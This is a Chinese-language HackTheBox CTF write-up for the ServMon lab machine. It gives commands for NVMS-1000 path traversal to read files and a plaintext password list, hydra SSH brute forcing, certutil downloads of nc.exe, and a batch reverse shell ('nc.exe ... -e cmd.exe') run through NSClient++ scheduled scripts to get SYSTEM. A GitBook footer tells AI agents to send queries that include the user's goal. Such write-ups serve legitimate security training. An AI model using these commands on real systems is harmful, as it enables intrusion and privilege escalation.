> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # ServMon HackTheBox 复盘通过 NVMS-1000 和 NSClient++ 利用 ServMon。 {% embed url="" %} {% hint style="warning" %} **技能：** * 网络侦察和 FTP 枚举 * NVMS-1000 目录遍历 * 通过外部脚本提升 NSClient++ 权限 {% endhint %} ## 侦察创建工作区并确认目标可达。 ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` TTL 表明这是一个 Windows 主机。

运行完整的 TCP 扫描。 ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```

扫描识别出这些开放端口： > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

识别暴露的服务及其版本。 {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} 相关发现如下： {% code overflow="wrap" %} ```java # Nmap 7.93 scan initiated Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 针对 10.129.227.77 的 Nmap 扫描报告主机在线（延迟 0.030 秒）。端口状态服务版本 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: 允许匿名 FTP 登录（FTP 代码 230） |_02-28-22 07:35PM Users 22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0) | ssh-hostkey: | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | | | | | | | | | | NULL: | HTTP/1.1 408 请求超时 | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: 站点没有标题 (text/html)。 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6063/tcp open tcpwrapped 6699/tcp open napster? 8443/tcp open ssl/https-alt | http-title: NSClient++ |_Requested resource was /index.html |_ssl-date: TLS randomness does not represent time | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | 未找到文档 | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 尽管返回了数据，但有 2 个服务未被识别。如果你知道该服务/版本，请将以下指纹提交到 https://nmap.org/cgi-bin/submit.cgi?new-service ： ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20请求超时\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\ SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); 服务信息：操作系统：Windows；CPE：cpe:/o:microsoft:windows 主机脚本结果： | smb2-security-mode: | 311: |_ 已启用消息签名，但不强制要求 | smb2-time: | date: 2026-09-23T08:52:06 |_ start_date: N/A 已执行服务检测。如果有任何不正确的结果，请报告到 https://nmap.org/submit/ 。 # Nmap done at Wed Sep 23 10:52:19 2026 -- 1 IP address (1 host up) scanned in 128.03 seconds ``` {% endcode %} ### FTP 枚举已启用匿名 FTP 访问。 {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}

该 `Users/Nadine` 目录中包含一封给 Nathan 的便笺。 {% code overflow="wrap" %} ```bash Nathan，我把你的 Passwords.txt 文件留在了你的桌面上。请在你自己编辑完成后将其删除，并放回安全文件夹。此致 Nadine ``` {% endcode %}

Nathan 的目录包含以下任务列表： {% code overflow="wrap" %} ```bash 1) 更改 NVMS 的密码 - 完成 2) 锁定 NSClient 访问 - 完成 3) 上传密码 4) 移除 NVMS 的公共访问 5) 将机密文件放入 SharePoint ``` {% endcode %}

### NVMS-1000 目录遍历端口 `80` 主机运行 NVMS-1000。

Searchsploit 识别出一个目录遍历漏洞。 {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}

以下概念验证确认了本地文件包含： {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} 响应确认可读取任意本地文件。

读取 Nathan 的密码文件： {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$

使用已知的本地用户测试恢复出的密码。

hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15

这将识别出有效的 SSH 凭据： * nadine * L1k3B1gBut7s\@W0rk

以 Nadine 身份通过 SSH 连接。 {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} 读取用户 flag。 {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}

## 使用 NSClient++ 提权 NSClient++ 安装在 `C:\Program Files`.

显示 NSClient++ Web 界面的密码。 {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT

Web 界面监听在端口 `8443`. ### 配置 NSClient++ 外部脚本此方法遵循已公开的 NSClient++ 利用指导。 {% embed url="" %} 确认已安装的 NSClient++ 版本。 {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}

该服务仅绑定在本地。通过 SSH 隧道访问它。

我们来做端口转发 {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} 打开 `https://127.0.0.1:8443` 并使用恢复的密码进行身份验证。

确保启用以下模块： ```bash CheckExternalScripts Scheduler ```

传输 `nc.exe` 以及有效载荷到目标。 {% code overflow="wrap" %} ```bash 查找 nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} 在目标上下载这两个文件： {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} 创建 `evil.bat` 在目标上： {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} 在端口上启动监听器 `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}

在 NSClient++ Web 界面中创建一个外部脚本： {% code overflow="wrap" %} ```bash 设置 > 外部脚本 > 脚本部分：/settings/external scripts/scripts/evil 键：command 值：C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}

创建一个计划 **设置 → 计划程序 → 计划**. 设置间隔： {% code overflow="wrap" %} ```bash 部分：/settings/scheduler/schedules/evil 键：interval 值：1m ``` {% endcode %}

配置计划命令： {% code overflow="wrap" %} ```bash 部分：/settings/scheduler/schedules/evil 键：command 值：evil ``` {% endcode %}

保存设置并重启服务。

运行查询以触发计划脚本。监听器会收到一个 shell，用户为 `SYSTEM`.

读取 root flag。 {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.